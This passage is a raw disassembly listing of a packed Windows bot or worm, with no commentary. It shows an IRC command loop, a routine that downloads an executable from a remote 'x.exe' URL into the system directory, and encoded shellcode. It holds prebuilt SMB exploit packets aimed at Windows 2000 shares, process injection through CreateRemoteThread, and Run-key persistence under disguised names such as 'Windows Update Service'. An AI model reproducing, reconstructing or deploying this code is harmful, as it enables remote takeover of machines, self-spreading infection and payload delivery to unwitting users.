ds:dword_315061A4, ebx call sub_315018BA mov esi, dword_31501124 call esi ; rand push 4 cdq pop ecx idiv ecx lea eax, [ebp-4Ch] add edx, ecx push edx push eax call sub_31501932 cmp ds:dword_315061A0, ebx mov edi, dword_3150106C pop ecx pop ecx jz short loc_3150345D lea eax, [ebp-4Ch] push offset a_ ; "_" push eax call edi ; lstrcatA loc_3150345D: ; CODE XREF: UPX0:31503450j lea eax, [ebp-4Ch] push offset a13 ; "13" push eax call edi ; lstrcatA lea ecx, [ebp-2F4h] call sub_31502DA1 mov [ebp-4], ebx loc_31503476: ; CODE XREF: UPX0:315035DDj ; UPX0:31503603j push offset dword_315061A8 lea eax, [ebp-18h] push offset dword_315061AC push eax call sub_31503371 add esp, 0Ch loc_3150348C: ; CODE XREF: UPX0:315034A0j call sub_31501A32 test eax, eax jnz short loc_315034A2 push 3E8h call dword_315010A4 ; Sleep jmp short loc_3150348C ; --------------------------------------------------------------------------- loc_315034A2: ; CODE XREF: UPX0:31503493j xor ebx, ebx call esi ; rand push 7 cdq pop ecx idiv ecx lea eax, [ebp-6Ch] add edx, 5 push edx push eax call sub_31501932 pop ecx xor edi, edi pop ecx loc_315034BD: ; CODE XREF: UPX0:315034F9j push 1A0Bh lea ecx, [ebp-2F4h] push off_31505E14 call sub_31502DB6 lea eax, [ebp-6Ch] push eax lea eax, [ebp-4Ch] push eax call dword_315010A0 ; lstrlenA push eax lea eax, [ebp-4Ch] push eax lea ecx, [ebp-2F4h] call sub_31502DEC test eax, eax jz short loc_31503550 inc edi cmp edi, 8 jl short loc_315034BD xor edi, edi loc_315034FD: ; CODE XREF: UPX0:3150354Cj call sub_31501A32 test eax, eax jz short loc_3150355E push 1A0Bh call esi ; rand push 13h xor edx, edx pop ecx div ecx lea ecx, [ebp-2F4h] push off_31505E14[edx*4] call sub_31502DB6 lea eax, [ebp-6Ch] push eax lea eax, [ebp-4Ch] push eax call dword_315010A0 ; lstrlenA push eax lea eax, [ebp-4Ch] push eax lea ecx, [ebp-2F4h] call sub_31502DEC test eax, eax jz short loc_3150355B inc edi cmp edi, 4Ch jb short loc_315034FD jmp short loc_3150355E ; --------------------------------------------------------------------------- loc_31503550: ; CODE XREF: UPX0:315034F3j push 1 pop ebx mov ds:dword_315061A4, ebx jmp short loc_31503567 ; --------------------------------------------------------------------------- loc_3150355B: ; CODE XREF: UPX0:31503546j push 1 pop ebx loc_3150355E: ; CODE XREF: UPX0:31503504j ; UPX0:3150354Ej cmp ds:dword_315061A4, 0 jz short loc_31503576 loc_31503567: ; CODE XREF: UPX0:31503559j lea eax, [ebp-18h] push offset aTaty ; "#taty" push eax call dword_31501088 ; lstrcpyA loc_31503576: ; CODE XREF: UPX0:31503565j test ebx, ebx jz short loc_315035EE call sub_31501A32 test eax, eax jz short loc_315035EE loc_31503583: ; CODE XREF: UPX0:315035A8j lea eax, [ebp-18h] lea ecx, [ebp-2F4h] push eax call sub_315030B1 test eax, eax jz short loc_315035AA push 3E8h call dword_315010A4 ; Sleep call sub_31501A32 test eax, eax jnz short loc_31503583 loc_315035AA: ; CODE XREF: UPX0:31503594j cmp ds:dword_315061A4, 0 jz short loc_315035BA mov edx, 0A8C0h jmp short loc_315035CA ; --------------------------------------------------------------------------- loc_315035BA: ; CODE XREF: UPX0:315035B1j call esi ; rand cdq mov ecx, 1F4h idiv ecx add edx, 578h loc_315035CA: ; CODE XREF: UPX0:315035B8j push edx lea ecx, [ebp-2F4h] call sub_315031EC call sub_31501A32 test eax, eax jz loc_31503476 lea ecx, [ebp-2F4h] call sub_31503183 loc_315035EE: ; CODE XREF: UPX0:31503578j ; UPX0:31503581j call esi ; rand push 0Ah cdq pop ecx idiv ecx imul edx, 0EA60h push edx call dword_315010A4 ; Sleep jmp loc_31503476 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31503608 proc near ; CODE XREF: sub_31503722+5Ep var_110 = byte ptr -110h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 110h push ebx push esi xor esi, esi push edi push esi push esi push esi push 1 push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... call dword_31501154 ; InternetOpenA mov ebx, eax cmp ebx, esi jnz short loc_31503633 push 1 jmp loc_315036C9 ; --------------------------------------------------------------------------- loc_31503633: ; CODE XREF: sub_31503608+22j lea eax, [ebp+var_110] push 104h push eax call dword_31501068 ; GetSystemDirectoryA mov edi, dword_3150106C lea eax, [ebp+var_110] push offset asc_31505CF0 ; "\\" push eax call edi ; lstrcatA lea eax, [ebp+var_110] push 6 push eax call dword_315010A0 ; lstrlenA lea eax, [ebp+eax+var_110] push eax call sub_31501932 pop ecx lea eax, [ebp+var_110] pop ecx push offset a_exe ; ".exe" push eax call edi ; lstrcatA push esi push esi push 2 push esi push esi lea eax, [ebp+var_110] push 40000000h push eax call dword_315010F0 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_315036A9 push 2 jmp short loc_315036C9 ; --------------------------------------------------------------------------- loc_315036A9: ; CODE XREF: sub_31503608+9Bj push esi push esi push esi push esi push [ebp+arg_0] push ebx call dword_31501150 ; InternetOpenUrlA cmp eax, esi mov [ebp+arg_0], eax jnz short loc_315036CC push [ebp+var_4] call dword_315010BC ; CloseHandle push 3 loc_315036C9: ; CODE XREF: sub_31503608+26j ; sub_31503608+9Fj pop eax jmp short loc_3150371D ; --------------------------------------------------------------------------- loc_315036CC: ; CODE XREF: sub_31503608+B4j mov edi, 100000h push edi call sub_31502800 mov ebx, eax pop ecx lea eax, [ebp+var_8] push eax push edi push ebx push [ebp+arg_0] call dword_31501158 ; InternetReadFile lea eax, [ebp+var_C] push esi push eax push [ebp+var_8] push ebx push [ebp+var_4] call dword_3150104C ; WriteFile push [ebp+var_4] call dword_315010BC ; CloseHandle lea eax, [ebp+var_110] push 5 push eax call sub_31501962 push ebx call sub_31502814 add esp, 0Ch xor eax, eax loc_3150371D: ; CODE XREF: sub_31503608+C2j pop edi pop esi pop ebx leave retn sub_31503608 endp ; =============== S U B R O U T I N E ======================================= sub_31503722 proc near ; CODE XREF: sub_315031EC+D1p var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_264 = byte ptr -264h var_200 = byte ptr -200h var_100 = byte ptr -100h var_FF = byte ptr -0FFh arg_0 = dword ptr 4 sub esp, 2CCh push ebx push ebp push esi push edi push offset dword_315061AC mov esi, ecx push [esp+2E0h+arg_0] call dword_31501120 ; strstr mov edi, dword_315010C8 pop ecx mov ebx, eax pop ecx mov [esp+2DCh+var_2CC], ebx call edi ; GetTickCount sub eax, [esi+70h] cmp eax, 927C0h jbe short loc_31503761 and dword ptr [esi+284h], 0 loc_31503761: ; CODE XREF: sub_31503722+36j cmp dword ptr [esi+7Ch], 0 jz short loc_315037C3 call edi ; GetTickCount mov ecx, [esi+78h] sub eax, [esi+74h] imul ecx, 3E8h cmp eax, ecx jbe short loc_315037C3 lea eax, [esi+180h] push eax call sub_31503608 test eax, eax pop ecx jnz short loc_315037C3 call edi ; GetTickCount push dword ptr [esi+78h] and dword ptr [esi+7Ch], 0 mov [esi+70h], eax lea eax, [esp+2E0h+var_2C8] push offset a1D ; "-1,%d" push eax mov dword ptr [esi+284h], 1 call dword_3150113C ; wsprintfA add esp, 0Ch lea eax, [esp+2DCh+var_2C8] mov ecx, esi push eax lea eax, [esi+30h] push eax call sub_315032FA loc_315037C3: ; CODE XREF: sub_31503722+43j ; sub_31503722+55j ... test ebx, ebx jz loc_31503A01 push ebx call dword_315010A0 ; lstrlenA cmp eax, 0Ah jle loc_31503A01 mov ebp, dword_31501110 add ebx, 8 push 7Ch push ebx call ebp ; strchr mov edi, eax pop ecx test edi, edi pop ecx jz loc_31503A01 and byte ptr [edi], 0 push ebx call dword_315010A0 ; lstrlenA cmp eax, 100h jge loc_31503A28 push ds:dword_315061A8 lea eax, [esp+2E0h+var_200] push ebx push eax call sub_31502D3C lea ebx, [edi+1] push 7Ch push ebx mov byte ptr [edi], 7Ch call ebp ; strchr mov edi, eax add esp, 14h test edi, edi jz loc_31503A01 and byte ptr [edi], 0 push ebx call dword_315010A0 ; lstrlenA cmp eax, 100h jge loc_31503A28 push ds:dword_315061A8 lea eax, [esi+180h] push ebx push eax call sub_31502D3C add esp, 0Ch lea eax, [esp+2DCh+var_200] push offset aE ; "e" push eax call dword_31501040 ; lstrcmpA mov ebx, dword_31501088 test eax, eax jnz loc_31503968 lea eax, [esi+180h] push eax call dword_315010A0 ; lstrlenA cmp eax, 0FFh jge loc_31503968 cmp dword ptr [esi+284h], 0 jnz loc_31503968 cmp dword ptr [esi+7Ch], 0 jnz loc_31503968 lea eax, [edi+1] push 7Ch push eax call ebp ; strchr mov ebp, eax pop ecx test ebp, ebp pop ecx jz loc_31503949 and byte ptr [ebp+0], 0 lea eax, [edi+1] push eax call dword_315010A0 ; lstrlenA cmp eax, 100h jge loc_31503A28 lea eax, [edi+1] push eax lea eax, [esp+2E0h+var_100] push eax call ebx ; lstrcpyA push [esp+2DCh+var_2CC] lea eax, [esi+80h] mov byte ptr [edi], 7Ch push eax call ebx ; lstrcpyA mov byte ptr [ebp+0], 7Ch and byte ptr [edi], 0 cmp [esp+2DCh+var_100], 65h jle short loc_31503956 lea eax, [esp+2DCh+var_FF] push eax call dword_315010F8 ; atoi mov ebp, eax pop ecx test ebp, ebp jz short loc_31503956 cmp ebp, 0E10h jnb short loc_31503956 call dword_31501124 ; rand xor edx, edx mov dword ptr [esi+7Ch], 1 div ebp mov [esi+78h], edx call dword_315010C8 ; GetTickCount mov [esi+74h], eax jmp short loc_31503956 ; --------------------------------------------------------------------------- loc_31503949: ; CODE XREF: sub_31503722+19Dj push [esp+2DCh+var_2CC] lea eax, [esi+80h] push eax call ebx ; lstrcpyA loc_31503956: ; CODE XREF: sub_31503722+1E9j ; sub_31503722+1FEj ... lea eax, [esi+80h] push offset asc_31506124 ; "|" push eax call dword_3150106C ; lstrcatA loc_31503968: ; CODE XREF: sub_31503722+15Aj ; sub_31503722+172j ... mov ebp, dword_31501040 lea eax, [esp+2DCh+var_200] push offset aI ; "i" push eax call ebp ; lstrcmpA test eax, eax jnz short loc_315039DE lea eax, [esp+2DCh+var_2C8] push offset dword_315061CC push eax call ebx ; lstrcpyA lea eax, [esp+2DCh+var_2C8] push 63h push eax push 7 push 400h call dword_31501040+4 push ds:dword_31506198 lea eax, [esp+2E0h+var_2C8] push eax lea eax, [esp+2E4h+var_264] push ds:dword_31506194 push ds:dword_3150615C push offset aDD13SD ; "%d,%d,13%s,%d" push eax call dword_3150113C ; wsprintfA add esp, 18h lea eax, [esp+2DCh+var_264] mov ecx, esi push eax lea eax, [esi+30h] push eax call sub_315032FA loc_315039DE: ; CODE XREF: sub_31503722+25Dj lea eax, [esp+2DCh+var_200] push offset aQ ; "q" push eax call ebp ; lstrcmpA test eax, eax jnz short loc_315039FE cmp [esi+284h], eax jz short loc_315039FE push 1 pop eax jmp short loc_31503A2A ; --------------------------------------------------------------------------- loc_315039FE: ; CODE XREF: sub_31503722+2CDj ; sub_31503722+2D5j mov byte ptr [edi], 7Ch loc_31503A01: ; CODE XREF: sub_31503722+A3j ; sub_31503722+B3j ... cmp dword ptr [esi+284h], 0 jz short loc_31503A28 push offset aJoin ; "JOIN" push [esp+2E0h+arg_0] call dword_31501120 ; strstr pop ecx test eax, eax pop ecx jz short loc_31503A28 call dword_31501124 ; rand loc_31503A28: ; CODE XREF: sub_31503722+E2j ; sub_31503722+123j ... xor eax, eax loc_31503A2A: ; CODE XREF: sub_31503722+2DAj pop edi pop esi pop ebp pop ebx add esp, 2CCh retn 4 sub_31503722 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503A38 proc near ; CODE XREF: sub_315011C0+128p ; sub_315011C0+134p ... jmp dword_31501134 sub_31503A38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503A3E proc near ; CODE XREF: sub_315011C0+9Cp ; sub_315011C0+C5p ... jmp dword_31501130 sub_31503A3E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503A44 proc near ; CODE XREF: sub_315011C0+93p ; sub_315011C0+B2p ... jmp dword_3150112C sub_31503A44 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_31503A50 proc near ; CODE XREF: sub_315011C0+8p arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_31503A70 loc_31503A5C: ; CODE XREF: sub_31503A50+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_31503A5C loc_31503A70: ; CODE XREF: sub_31503A50+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_31503A50 endp ; --------------------------------------------------------------------------- align 10h loc_31503A80: ; DATA XREF: sub_31501D96+Ao jmp dword ptr loc_3150111C ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503A86 proc near ; CODE XREF: sub_31501F6B+10Cp ; sub_31501F6B+119p ... jmp dword_31501118 sub_31503A86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503A8C proc near ; CODE XREF: sub_31501F6B+35p jmp dword_31501114 sub_31503A8C endp ; --------------------------------------------------------------------------- loc_31503A92: ; CODE XREF: UPX0:31503AC9j ; UPX0:31503AE0j jmp dword ptr locret_3150110A+2 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503A98 proc near ; CODE XREF: sub_315031EC+5p ; UPX0:3150340Dp jmp dword ptr loc_31501108 sub_31503A98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503A9E proc near ; CODE XREF: sub_31503371+4Fp jmp dword_31501104 sub_31503A9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503AA4 proc near ; CODE XREF: sub_31503371+34p jmp dword_31501100 sub_31503AA4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503AAA proc near ; CODE XREF: sub_31503371+1Fp jmp dword_315010FC sub_31503AAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503AB0 proc near ; CODE XREF: sub_31502490+ABp jmp dword_31501084 sub_31503AB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503AB6 proc near ; CODE XREF: sub_31502490+64p jmp dword_3150107C sub_31503AB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31503ABC proc near ; CODE XREF: sub_31502490+2Dp jmp dword_31501078 sub_31503ABC endp ; --------------------------------------------------------------------------- align 4 loc_31503AC4: ; DATA XREF: sub_315031ECo mov eax, offset dword_31503AE8 jmp loc_31503A92 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-2F4h] jmp loc_31502DD4 ; --------------------------------------------------------------------------- loc_31503ADB: ; DATA XREF: UPX0:loc_31503408o mov eax, offset dword_31503B40 jmp loc_31503A92 ; --------------------------------------------------------------------------- align 4 dword_31503AE8 dd 19930520h, 2, 31503B08h, 1, 31503B18h, 3 dup(0) ; DATA XREF: UPX0:loc_31503AC4o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 31503B30h, 4 dup(0) dd offset loc_315032E0 dword_31503B40 dd 19930520h, 1, 31503B60h, 5 dup(0) dd 0FFFFFFFFh, 31503AD0h, 526h dup(0) byte_31505000 db 0EBh ; DATA XREF: sub_315011C0+24Eo ; sub_315011C0+260o ... db 58h word_31505002 dw 7468h ; DATA XREF: sub_31502277+40o dd 2F3A7074h, 3732312Fh, 302E302Eh, 383A312Eh, 652F3030h dd 6578652Eh, 4 dup(0DFDFDFDFh), 7A6F4DDFh, 616C6C69h dd 302E342Fh, 0C9335DDFh, 1F1B966h, 8B05758Dh, 3C068AFEh dd 46057599h, 302C068Ah, 88993446h, 0EDE24707h, 0DAE80AEBh dd 2EFFFFFFh, 2E676562h, 0C9999371h, 0C999C999h, 91BDFD12h dd 0C99916FDh, 0AA6872C1h, 0AA66FD42h, 14BA10FDh, 9998A91Ch dd 0C9C999C9h, 98F198F3h, 9986C999h, 98C571C9h, 0C999C999h dd 37CB5F90h, 1C965992h, 99C99978h, 14C999C9h, 7D7157E4h dd 0C999C999h, 0E414C999h, 9945713Ah, 99C999C9h, 0F19DF3C9h dd 9989C999h, 0F1C999C9h, 0C999C999h, 0F3C9999Ch, 0B471C999h dd 99C99998h, 0E3F367C9h, 0D11C10F0h, 99C99998h, 0C959B2C9h dd 0C99BF3C9h, 0C999F1C9h, 0C999C999h, 0A20414D9h, 99C99998h dd 9371CAC9h, 99C99998h, 61688DC9h, 0AE1C1091h, 99C99998h dd 66611AC9h, 99111D96h, 99C999C9h, 0C850B2C9h, 98F3C8C8h dd 0C957DC14h, 0C9992671h, 0C999C999h, 91C0A44Eh, 59924912h dd 59B2F7EDh, 0C9C9C9C9h, 0CA3AC414h, 993C71CBh, 99C999C9h dd 0E424FFC9h, 0ED599221h, 0F1CDCDCFh, 0C999C999h, 66C9999Ch dd 9998D12Ch, 0C9C999C9h, 0C9991371h, 0C999C999h, 83B8B0FBh dd 5D12CDC3h, 0C9C999F3h, 0D12C66CBh, 99C99998h, 0AE2C66C9h dd 99C99998h, 990C71C9h, 99C999C9h, 0A6485AC9h, 2C66C096h dd 0C99998AEh, 1C71C999h, 0C999C999h, 294CC999h, 9CF3EBA7h dd 98A20414h, 0C999C999h, 99EA71CAh, 99C999C9h, 26F434C9h dd 0C999F371h, 0C999F171h, 0C999C999h, 0EF133BF9h, 376B4629h dd 9966DE5Fh, 0A8EC5AC9h, 0F0ABB7AAh, 2 dup(0C999C999h) dd 0C5B7C999h, 0ECE9EDFFh, 0FCB7FDE9h, 0C999FCE1h, 6 dup(0C999C999h) dd 0FCFCF5CAh, 0F2C999E9h, 0FCF7EBFCh, 99ABAAF5h, 0F934C7C9h dd 25B459AAh, 0C9662A2Ah, 819093ACh, 909CC9B7h, 0C983639Dh dd 999271CDh, 99C999C9h, 3519BFC9h, 0BDFD1451h, 91720A95h dd 71F934C7h, 99C999C8h, 12C999C9h, 0D512A5D2h, 529AE180h dd 8D146FAAh, 0B9C89A2Ah, 4A9A8B12h, 595859AAh, 0DB9BAB9Eh dd 0C999A319h, 0DDA26CECh, 9EED85BDh, 81E8A2DFh, 125544EBh dd 4A9ABDC8h, 0EB8D2E96h, 9A85D812h, 99D125Ah, 0DD105A9Ah dd 10F885BDh, 9998D51Ch, 66C999C9h, 0FD7F6649h, 0A98712FEh dd 0C212C999h, 85C21295h, 0C2128212h, 0FCB75A91h, 0B7FDF7h dword_315052C8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_315011C0+186o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_31505354 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_315011C0+1BAo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dword_31505400 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_315011C0+1EEo dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_315054E0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_315011C0+8Do dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_315011C0+BFo unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_31505544 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_315011C0+2D4o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_315055B0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_315011C0+308o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_31505654 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_315011C0+4EEo dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 dword_315056D4 dd 401495h, 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_31505768 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_315011C0+347o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_315057D4 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_315011C0+372o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_31505848 dd 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 3 dup(0) dd 586E6957h, 72502050h, 6Fh, 9 dup(0) db 2 dup(0) dword_31505906 dd 1004600h dw 1 dd 69570000h, 206B326Eh, 6F7250h, 0Ah dup(0) dword_31505940 dd 7515123Ch, 2, 326E6957h, 5341206Bh, 0Ah dup(0) ; DATA XREF: sub_315011C0+41Bo ; sub_315011C0+45Do dd 123C0000h, 751Ch, 0Eh dup(0) ; --------------------------------------------------------------------------- loc_315059B8: ; DATA XREF: sub_315011C0+44Ao jmp short loc_315059C0 ; --------------------------------------------------------------------------- jmp short loc_315059C2 ; --------------------------------------------------------------------------- align 10h loc_315059C0: ; CODE XREF: UPX0:loc_315059B8j ; DATA XREF: sub_315011C0+5Co pop esp pop esp loc_315059C2: ; CODE XREF: UPX0:315059BAj and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_315059CC dd 1CEC8166h dword_315059D0 dd 0E4FF07h aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_31501727+62o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_31501727+39o align 10h aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_31501727+2Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_31501727+1Bo align 4 aAdvapi32 db 'advapi32',0 ; DATA XREF: sub_31501727+8o ; sub_31501D96+102o align 4 aUterm13_2i db 'uterm13.2i',0 ; DATA XREF: sub_315017AF:loc_31501894o ; UPX0:31501D35o ... align 4 aShell_traywnd db 'Shell_TrayWnd',0 ; DATA XREF: sub_315017AF+58o align 4 aCreateremoteth db 'CreateRemoteThread',0 ; DATA XREF: sub_315017AF:loc_315017F6o align 4 aVirtualallocex db 'VirtualAllocEx',0 ; DATA XREF: sub_315017AF+34o align 4 aKernel32 db 'kernel32',0 ; DATA XREF: sub_315017AF+18o align 4 dword_31505A84 dd 0E9F3F5h aHttp1_1200Ok db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_31501A62+106o db 0Dh,0Ah db 0Dh,0Ah,0 align 10h aContentLengthU db 'Content-Length: %u',0Dh,0Ah ; DATA XREF: sub_31501A62+85o db 0Dh,0Ah,0 align 4 aHttp1_1200OkCo db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_31501A62+71o db 'Content-Type: application/x-exe-compressed',0Dh,0Ah,0 align 4 a_exe db '.exe',0 ; DATA XREF: sub_31501A62+55o ; sub_315025F6+4Bo ... align 10h aGet db 'GET',0 ; DATA XREF: sub_31501A62+3Do aFtpupd_exe db 'ftpupd.exe',0 ; DATA XREF: UPX0:31501D20o align 10h aUser32 db 'user32',0 ; DATA XREF: sub_31501D96+109o align 4 aMsvcrt db 'msvcrt',0 ; DATA XREF: sub_31501D96+FBo align 10h aWininet db 'wininet',0 ; DATA XREF: sub_31501D96+F4o aWs2_32 db 'ws2_32',0 ; DATA XREF: sub_31501D96+E7o align 10h aU14 db 'u14',0 ; DATA XREF: sub_31501D96+D5o aU13_2i db 'u13.2i',0 ; DATA XREF: sub_31501D96+C9o align 4 aU13i db 'u13i',0 ; DATA XREF: sub_31501D96+BDo align 4 aU13 db 'u13',0 ; DATA XREF: sub_31501D96+B1o aU12 db 'u12',0 ; DATA XREF: sub_31501D96+A5o aU11 db 'u11',0 ; DATA XREF: sub_31501D96+99o aU10 db 'u10',0 ; DATA XREF: sub_31501D96+8Do aU9 db 'u9',0 ; DATA XREF: sub_31501D96+81o align 4 aU8 db 'u8',0 ; DATA XREF: sub_31501D96+75o align 4 aU13ix db 'u13ix',0 ; DATA XREF: sub_31501D96+69o align 4 aU13x db 'u13x',0 ; DATA XREF: sub_31501D96+5Do align 4 aU12x db 'u12x',0 ; DATA XREF: sub_31501D96+51o align 4 aU11x db 'u11x',0 ; DATA XREF: sub_31501D96+45o align 4 aU10x db 'u10x',0 ; DATA XREF: sub_31501D96+3Bo align 4 aU13_2ix db 'u13.2ix',0 ; DATA XREF: sub_31501D96+22o asc_31505B8C db 0Dh,0Ah,0 ; DATA XREF: sub_31501F6B+124o align 10h aUseridUnix db ' : USERID : UNIX : ',0 ; DATA XREF: sub_31501F6B+104o aHttpSDX_exe db 'http://%s:%d/x.exe',0 ; DATA XREF: sub_31502277+2Do align 4 aSoftwareMicros db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_31501BA8+23o ; sub_31502548+5Fo ... align 4 aSystemUpdate db 'System Update',0 ; DATA XREF: sub_31501BA8+1Co ; sub_315025F6+87o ... align 4 aEwpkcorawtj db 'ewpkcorawtj',0 ; DATA XREF: sub_315026C2+57o ; sub_315026C2+8Ao align 10h aSoftwareMicr_0 db 'Software\Microsoft\Wireless',0 ; DATA XREF: sub_315026C2+32o aClient db 'Client',0 ; DATA XREF: sub_315026C2+BCo ; sub_315026C2+F8o align 4 aId db 'ID',0 ; DATA XREF: sub_315026C2+37o ; sub_315026C2+75o align 4 aMsConfigV13 db 'MS Config v13',0 ; DATA XREF: sub_31502548+4Eo align 4 aAvserve2_exeup db 'avserve2.exeUpdate Service',0 ; DATA XREF: sub_31502548+47o align 4 aAvserve_exe db 'avserve.exe',0 ; DATA XREF: sub_31502548+40o aWindowsUpdateS db 'Windows Update Service',0 ; DATA XREF: sub_31502548+39o align 4 aWinupdate db 'WinUpdate',0 ; DATA XREF: sub_31502548+32o align 4 aSystray db 'SysTray',0 ; DATA XREF: sub_31502548+2Bo aBotLoader db 'Bot Loader',0 ; DATA XREF: sub_31502548+24o align 4 aSystemRestoreS db 'System Restore Service',0 ; DATA XREF: sub_31502548+1Do align 10h aDiskDefragment db 'Disk Defragmenter',0 ; DATA XREF: sub_31502548+16o align 4 aWindowsSecurit db 'Windows Security Manager',0 ; DATA XREF: sub_31502548+Fo align 10h asc_31505CF0: ; DATA XREF: sub_315025F6+56o ; sub_31503608+49o unicode 0, <\>,0 a1: ; DATA XREF: sub_315026C2+B7o unicode 0, 